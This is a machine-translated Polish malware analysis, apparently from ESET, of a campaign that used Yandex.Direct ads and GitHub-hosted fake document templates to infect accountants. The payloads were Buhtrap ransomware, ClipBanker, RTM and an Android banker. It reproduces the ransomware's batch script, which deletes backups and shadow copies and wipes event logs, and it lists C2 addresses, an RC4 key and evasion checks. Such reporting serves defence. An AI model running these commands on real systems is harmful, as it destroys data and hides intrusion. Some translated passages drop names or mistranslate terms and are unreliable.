Aby zaatakować księgowych w cyberataku, możesz wykorzystać dokumenty służbowe, których szukają w Internecie. Mniej więcej tak robiła grupa cybernetyczna w ciągu ostatnich kilku miesięcy, dystrybuując znane backdoory. и , a także programy szyfrujące i oprogramowanie do kradzieży kryptowalut. Większość celów znajduje się w Rosji. Atak został przeprowadzony poprzez umieszczenie złośliwej reklamy w serwisie Yandex.Direct. Potencjalne ofiary były kierowane na stronę internetową, na której proszono je o pobranie złośliwego pliku udającego szablon dokumentu. Po naszym ostrzeżeniu firma Yandex usunęła złośliwą reklamę.
Kod źródłowy Buhtrapa wyciekał w przeszłości do Internetu, więc każdy może z niego skorzystać. Nie mamy informacji na temat dostępności kodu RTM.
W tym poście dowiesz się, w jaki sposób napastnicy rozpowszechniali złośliwe oprogramowanie za pomocą Yandex.Direct i hostowali je w GitHub. Post zakończy się analizą techniczną szkodliwego oprogramowania.
Buhtrap i RTM wracają do działalności
Mechanizm rozprzestrzeniania się i ofiary
Różne ładunki dostarczane ofiarom mają wspólny mechanizm propagacji. Wszystkie złośliwe pliki utworzone przez atakujących zostały umieszczone w dwóch różnych repozytoriach GitHub.
Zazwyczaj repozytorium zawierało jeden złośliwy plik do pobrania, który często się zmieniał. Ponieważ GitHub umożliwia przeglądanie historii zmian w repozytorium, możemy zobaczyć, jakie złośliwe oprogramowanie było dystrybuowane w danym okresie. Aby przekonać ofiarę do pobrania szkodliwego pliku, wykorzystano stronę internetową blanki-shabloni24[.]ru pokazaną na powyższym rysunku.
Projekt witryny i wszystkie nazwy szkodliwych plików opierają się na jednej koncepcji – formularzach, szablonach, umowach, próbkach itp. Biorąc pod uwagę, że oprogramowanie Buhtrap i RTM było już wykorzystywane w atakach na księgowych w przeszłości, założyliśmy, że strategia w nowej kampanii jest taka sama. Pytanie tylko, w jaki sposób ofiara dostała się na stronę internetową napastnika.
Infekcja
Co najmniej kilka potencjalnych ofiar, które trafiły na tę stronę, zostało przyciągniętych przez złośliwe reklamy. Poniżej znajduje się przykładowy adres URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Jak widać z linku, baner został zamieszczony na legalnym forum księgowym bb.f2[.]kz. Warto zaznaczyć, że banery pojawiały się na różnych stronach, wszystkie miały ten sam identyfikator kampanii (blanki_rsya) i większość dotyczyła usług księgowych lub pomocy prawnej. Adres URL wskazuje, że potencjalna ofiara skorzystała z prośby o „pobranie formularza faktury”, co potwierdza naszą hipotezę ataków ukierunkowanych. Poniżej znajdują się strony, na których pojawiły się banery, oraz odpowiadające im zapytania.
- pobierz formularz faktury – bb.f2[.]kz
- przykładowa umowa - Ipopen[.]ru
- wzór skargi aplikacyjnej - 77metrov[.]ru
- formularz umowy - blank-dogovor-kupli-prodazhi[.]ru
- przykładowa petycja sądowa - zen.yandex[.]ru
- przykładowa skarga - yurday[.]ru
- przykładowe formularze umów – Regforum[.]ru
- formularz umowy – Assistentus[.]ru
- przykładowa umowa mieszkania – napravah[.]com
- próbki umów prawnych - avito[.]ru
Witryna blanki-shabloni24[.]ru mogła zostać skonfigurowana tak, aby przejść prostą ocenę wizualną. Zazwyczaj reklama wskazująca profesjonalnie wyglądającą witrynę zawierającą link do GitHub nie wydaje się czymś wyraźnie złym. Ponadto osoby atakujące przesyłały szkodliwe pliki do repozytorium tylko na ograniczony czas, prawdopodobnie w trakcie kampanii. W większości przypadków repozytorium GitHub zawierało puste archiwum zip lub pusty plik EXE. W ten sposób osoby atakujące mogły rozpowszechniać reklamy za pośrednictwem Yandex.Direct w witrynach, które najprawdopodobniej odwiedzali księgowi, którzy weszli w odpowiedzi na określone zapytania.
Następnie przyjrzyjmy się różnym ładunkom dystrybuowanym w ten sposób.
Analiza ładunku
Chronologia dystrybucji
Szkodliwa kampania rozpoczęła się pod koniec października 2018 r. i jest aktywna w chwili pisania tego tekstu. Ponieważ całe repozytorium było publicznie dostępne w serwisie GitHub, przygotowaliśmy dokładny harmonogram dystrybucji sześciu różnych rodzin szkodliwego oprogramowania (patrz rysunek poniżej). Dodaliśmy wiersz pokazujący, kiedy wykryto łącze do banera, zgodnie z pomiarami telemetrycznymi firmy ESET, w celu porównania z historią git. Jak widać, dobrze koreluje to z dostępnością ładunku w GitHubie. Rozbieżność na koniec lutego można wytłumaczyć faktem, że nie mieliśmy części historii zmian, ponieważ repozytorium zostało usunięte z GitHub, zanim udało nam się je pobrać w całości.
Rysunek 1. Chronologia dystrybucji szkodliwego oprogramowania.
Certyfikaty podpisywania kodu
W kampanii wykorzystano wiele certyfikatów. Niektóre zostały podpisane przez więcej niż jedną rodzinę szkodliwego oprogramowania, co dodatkowo wskazuje, że różne próbki należały do tej samej kampanii. Pomimo dostępności klucza prywatnego operatorzy nie podpisywali systematycznie plików binarnych i nie używali klucza do wszystkich próbek. Pod koniec lutego 2019 r. napastnicy zaczęli tworzyć nieprawidłowe podpisy przy użyciu certyfikatu należącego do Google, do którego nie mieli klucza prywatnego.
Wszystkie certyfikaty biorące udział w kampanii oraz podpisane przez nią rodziny szkodliwego oprogramowania są wymienione w poniższej tabeli.
Wykorzystaliśmy także te certyfikaty do podpisywania kodu w celu ustanowienia powiązań z innymi rodzinami złośliwego oprogramowania. W przypadku większości certyfikatów nie znaleźliśmy próbek, które nie były dystrybuowane za pośrednictwem repozytorium GitHub. Do podpisywania szkodliwego oprogramowania należącego do botnetu wykorzystano jednak certyfikat TOV „MARIYA”. , oprogramowanie reklamowe i górnicy. Jest mało prawdopodobne, aby to złośliwe oprogramowanie było powiązane z tą kampanią. Najprawdopodobniej certyfikat został zakupiony w darknecie.
Win32/Filecoder.Buhtrap
Pierwszym komponentem, który przykuł naszą uwagę, był nowo odkryty Win32/Filecoder.Buhtrap. Jest to plik binarny Delphi, który czasami jest pakowany. Dystrybucja odbywała się głównie w okresie luty–marzec 2019 r. Zachowuje się jak przystało na program ransomware - przeszukuje dyski lokalne i foldery sieciowe oraz szyfruje wykryte pliki. Nie wymaga naruszenia połączenia internetowego, ponieważ nie kontaktuje się z serwerem w celu przesłania kluczy szyfrujących. Zamiast tego dodaje „token” na końcu wiadomości z żądaniem okupu i sugeruje użycie poczty e-mail lub Bitmessage do skontaktowania się z operatorami.
Aby zaszyfrować jak najwięcej wrażliwych zasobów, Filecoder.Buhtrap uruchamia wątek przeznaczony do zamykania kluczowego oprogramowania, które może mieć otwarte procedury obsługi plików zawierające cenne informacje, które mogą zakłócać szyfrowanie. Procesami docelowymi są głównie systemy zarządzania bazami danych (DBMS). Ponadto Filecoder.Buhtrap usuwa pliki dziennika i kopie zapasowe, co utrudnia odzyskiwanie danych. Aby to zrobić, uruchom poniższy skrypt wsadowy.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap korzysta z legalnej usługi internetowego rejestratora adresów IP, zaprojektowanej w celu gromadzenia informacji o osobach odwiedzających witrynę. Ma to na celu śledzenie ofiar oprogramowania ransomware, za co odpowiada wiersz poleceń:
mshta.exe "javascript:document.write('');"
Pliki do szyfrowania są wybierane, jeśli nie pasują do trzech list wykluczeń. Po pierwsze, nie są szyfrowane pliki o rozszerzeniach: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys i .nietoperz. Po drugie, wykluczone są wszystkie pliki, których pełna ścieżka zawiera ciągi katalogów z poniższej listy.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
Po trzecie, niektóre nazwy plików, w tym nazwa pliku z wiadomością o okupie, są również wyłączone z szyfrowania. Lista została zaprezentowana poniżej. Oczywiście wszystkie te wyjątki mają na celu utrzymanie działania maszyny, ale przy minimalnej przydatności do ruchu drogowego.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Schemat szyfrowania plików
Po uruchomieniu szkodliwe oprogramowanie generuje 512-bitową parę kluczy RSA. Prywatny wykładnik (d) i moduł (n) są następnie szyfrowane zakodowanym na stałe 2048-bitowym kluczem publicznym (publiczny wykładnik i moduł), spakowanym w formacie Zlib i zakodowanym w standardzie Base64. Kod odpowiedzialny za to pokazano na rysunku 2.
Rysunek 2. Wynik dekompilacji promieni szesnastkowych procesu generowania 512-bitowej pary kluczy RSA.
Poniżej znajduje się przykład zwykłego tekstu z wygenerowanym kluczem prywatnym, który jest tokenem dołączonym do wiadomości z żądaniem okupu.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
Poniżej podano klucz publiczny atakującego.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Pliki szyfrowane są przy użyciu algorytmu AES-128-CBC z 256-bitowym kluczem. Dla każdego zaszyfrowanego pliku generowany jest nowy klucz i nowy wektor inicjujący. Kluczowe informacje są dodawane na końcu zaszyfrowanego pliku. Rozważmy format zaszyfrowanego pliku.
Zaszyfrowane pliki mają następujący nagłówek:
Dane pliku źródłowego z dodatkiem magicznej wartości VEGA są szyfrowane do pierwszych 0x5000 bajtów. Wszystkie informacje dotyczące deszyfrowania są załączane do pliku o następującej strukturze:
- Znacznik rozmiaru pliku zawiera znak wskazujący, czy rozmiar pliku jest większy niż 0x5000 bajtów
— Blob klucza AES = ZlibCompress(RSAEncrypt(klucz AES + IV, klucz publiczny wygenerowanej pary kluczy RSA))
- Blob klucza RSA = ZlibCompress(RSAEncrypt(wygenerowany klucz prywatny RSA, zakodowany na stałe klucz publiczny RSA))
Win32/ClipBanker
Win32/ClipBanker to komponent dystrybuowany sporadycznie od końca października do początku grudnia 2018 r. Jego rolą jest monitorowanie zawartości schowka, szuka adresów portfeli kryptowalut. Po ustaleniu docelowego adresu portfela ClipBanker zastępuje go adresem, który prawdopodobnie należy do operatorów. Próbki, które zbadaliśmy, nie były opakowane ani zaciemnione. Jedynym mechanizmem używanym do maskowania zachowań jest szyfrowanie ciągów. Adresy portfela operatora są szyfrowane przy użyciu RC4. Docelowe kryptowaluty to Bitcoin, Bitcoin Cash, Dogecoin, Ethereum i Ripple.
W okresie, w którym złośliwe oprogramowanie rozprzestrzeniało się do portfeli Bitcoin atakujących, do VTS wysłano niewielką jego ilość, co podaje w wątpliwość powodzenie kampanii. Ponadto nie ma dowodów sugerujących, że transakcje te były w ogóle powiązane z ClipBankerem.
Win32/RTM
Komponent Win32/RTM był dystrybuowany przez kilka dni na początku marca 2019 r. RTM to trojan bankowy napisany w Delphi, przeznaczony dla zdalnych systemów bankowych. W 2017 r. badacze firmy ESET opublikowali tego programu, opis jest nadal aktualny. W styczniu 2019 r. wydano także Palo Alto Networks .
Ładowarka Buhtrap
Przez pewien czas na GitHubie dostępny był downloader, który nie był podobny do poprzednich narzędzi Buhtrap. Zwraca się do https://94.100.18[.]67/RSS.php?<some_id> aby przejść do następnego etapu i załadować go bezpośrednio do pamięci. Możemy wyróżnić dwa zachowania kodu drugiego etapu. W pierwszym adresie URL RSS.php bezpośrednio przeszedł przez backdoora Buhtrap - ten backdoor jest bardzo podobny do tego, który był dostępny po wycieku kodu źródłowego.
Co ciekawe, widzimy kilka kampanii wykorzystujących backdoora Buhtrap i rzekomo są one prowadzone przez różnych operatorów. W tym przypadku główna różnica polega na tym, że backdoor jest ładowany bezpośrednio do pamięci i nie wykorzystuje zwykłego schematu z procesem wdrażania biblioteki DLL, o którym mówiliśmy . Dodatkowo operatorzy zmienili klucz RC4 służący do szyfrowania ruchu sieciowego kierowanego do serwera C&C. W większości kampanii, które widzieliśmy, operatorzy nie zawracali sobie głowy zmianą tego klucza.
Drugie, bardziej złożone zachowanie polegało na przekazaniu adresu URL RSS.php do innego modułu ładującego. Zaimplementowano pewne zaciemnienia, takie jak przebudowa tabeli dynamicznego importu. Celem programu ładującego jest skontaktowanie się z serwerem C&C [.]com/api/F27F84EDA4D13B15/2, wyślij logi i poczekaj na odpowiedź. Przetwarza odpowiedź w postaci obiektu typu blob, ładuje ją do pamięci i wykonuje. Ładunek, który widzieliśmy podczas wykonywania tego modułu ładującego, był tym samym backdoorem Buhtrap, ale mogły zawierać inne komponenty.
Android/Szpieg.Bankier
Co ciekawe, w repozytorium GitHub odnaleziono także komponent dla Androida. W oddziale głównym przebywał tylko jeden dzień – 1 listopada 2018 roku. Oprócz publikacji w serwisie GitHub dane telemetryczne ESET nie znajdują żadnych dowodów na dystrybucję tego szkodliwego oprogramowania.
Komponent był hostowany jako pakiet aplikacji dla systemu Android (APK). Jest mocno zaciemnione. Złośliwe zachowanie jest ukryte w zaszyfrowanym pliku JAR znajdującym się w pliku APK. Jest szyfrowany za pomocą RC4 przy użyciu tego klucza:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Do szyfrowania ciągów znaków używany jest ten sam klucz i algorytm. JAR ma swoją siedzibę w APK_ROOT + image/files. Pierwsze 4 bajty pliku zawierają długość zaszyfrowanego pliku JAR, która rozpoczyna się bezpośrednio po polu długości.
Po odszyfrowaniu pliku odkryliśmy, że był to wcześniej Anubis bankier dla Androida. Szkodnik ma następujące funkcje:
- nagranie mikrofonu
- robienie zrzutów ekranu
- uzyskanie współrzędnych GPS
- keylogger
- szyfrowanie danych urządzenia i żądanie okupu
- wysyłanie spamu
Co ciekawe, bankier wykorzystał Twittera jako zapasowy kanał komunikacji w celu pozyskania kolejnego serwera C&C. Próbka, którą analizowaliśmy, korzystała z konta @JonesTrader, ale w momencie analizy było już zablokowane.
Bankier zawiera listę docelowych aplikacji na urządzeniu z systemem Android. Jest dłuższa niż lista uzyskana w badaniu Sophos. Na liście znajduje się wiele aplikacji bankowych, programów do zakupów online, takich jak Amazon i eBay, a także usługi kryptowalutowe.
MSIL/ClipBanker.IH
Ostatnim komponentem dystrybuowanym w ramach tej kampanii był plik wykonywalny .NET Windows, który pojawił się w marcu 2019 roku. Większość badanych wersji zawierała pakiet ConfuserEx v1.0.0. Podobnie jak ClipBanker, ten komponent korzysta ze schowka. Jego celem jest szeroka gama kryptowalut, a także oferty na Steamie. Dodatkowo wykorzystuje usługę IP Logger do kradzieży prywatnego klucza WIF Bitcoin.
Mechanizmy ochrony
Oprócz korzyści, jakie ConfuserEx zapewnia w zakresie zapobiegania debugowaniu, zrzutowi i manipulacji, komponent obejmuje możliwość wykrywania produktów antywirusowych i maszyn wirtualnych.
Aby sprawdzić, czy działa na maszynie wirtualnej, szkodliwe oprogramowanie wykorzystuje wbudowany wiersz poleceń WMI systemu Windows (WMIC) w celu zażądania informacji o systemie BIOS, a mianowicie:
wmic bios
Następnie program analizuje dane wyjściowe polecenia i szuka słów kluczowych: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Aby wykryć produkty antywirusowe, złośliwe oprogramowanie wysyła żądanie Instrumentacji zarządzania Windows (WMI) do Centrum zabezpieczeń systemu Windows za pomocą ManagementObjectSearcher API jak pokazano poniżej. Po dekodowaniu z base64 wywołanie wygląda następująco:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Rysunek 3. Proces identyfikacji produktów antywirusowych.
Ponadto złośliwe oprogramowanie sprawdza, czy , narzędzie chroniące przed atakami ze schowka i, jeśli jest uruchomione, zawiesza wszystkie wątki w tym procesie, wyłączając w ten sposób ochronę.
Trwałość
Wersja szkodliwego oprogramowania, którą badaliśmy, kopiuje się %APPDATA%googleupdater.exe i ustawia „ukryty” atrybut katalogu Google. Następnie zmienia wartość SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell w rejestrze systemu Windows i dodaje ścieżkę updater.exe. W ten sposób szkodliwe oprogramowanie będzie uruchamiane za każdym razem, gdy użytkownik się zaloguje.
Złośliwe zachowanie
Podobnie jak ClipBanker, szkodliwe oprogramowanie monitoruje zawartość schowka i wyszukuje adresy portfeli kryptowalut, a gdy je znajdzie, zastępuje je jednym z adresów operatora. Poniżej znajduje się lista adresów docelowych na podstawie zawartości kodu.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Dla każdego typu adresu istnieje odpowiednie wyrażenie regularne. Wartość STEAM_URL służy do ataku na system Steam, jak widać z wyrażenia regularnego używanego do definiowania w buforze:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Kanał eksfiltracji
Oprócz zamiany adresów w buforze, złośliwe oprogramowanie atakuje prywatne klucze WIF portfeli Bitcoin, Bitcoin Core i Electrum Bitcoin. Program wykorzystuje plogger.org jako kanał eksfiltracji w celu uzyskania klucza prywatnego WIF. Aby to zrobić, operatorzy dodają dane klucza prywatnego do nagłówka HTTP User-Agent, jak pokazano poniżej.
Rysunek 4. Konsola rejestratora IP z danymi wyjściowymi.
Operatorzy nie używali iplogger.org do eksfiltracji portfeli. Prawdopodobnie zastosowali inną metodę ze względu na limit 255 znaków w polu User-Agentwyświetlane w interfejsie sieciowym rejestratora IP. W badanych przez nas próbach drugi serwer wyjściowy był przechowywany w zmiennej środowiskowej DiscordWebHook. Co zaskakujące, ta zmienna środowiskowa nie jest przypisana nigdzie w kodzie. Sugeruje to, że szkodliwe oprogramowanie jest wciąż w fazie rozwoju, a zmienna jest przypisana do maszyny testowej operatora.
Jest jeszcze jeden znak, że program jest w fazie rozwoju. Plik binarny zawiera dwa adresy URL iplogger.org i oba są sprawdzane podczas wydobywania danych. W żądaniu kierowanym do jednego z tych adresów URL wartość w polu Referer jest poprzedzona znakiem „DEV /”. Znaleźliśmy również wersję, która nie została spakowana przy użyciu ConfuserEx. Odbiorca tego adresu URL nazywa się DevFeedbackUrl. Na podstawie nazwy zmiennej środowiskowej uważamy, że operatorzy planują wykorzystać legalną usługę Discord i jej system przechwytywania sieci w celu kradzieży portfeli kryptowalut.
wniosek
Ta kampania jest przykładem wykorzystania legalnych usług reklamowych w cyberatakach. Celem programu są organizacje rosyjskie, ale nie zdziwilibyśmy się, gdyby taki atak został wykonany z wykorzystaniem usług innych niż rosyjskie. Aby uniknąć kompromisu, użytkownicy muszą mieć pewność co do reputacji źródła pobieranego oprogramowania.
Pełna lista wskaźników kompromisu i atrybutów MITRE ATT&CK jest dostępna pod adresem .
Źródło: www.habr.com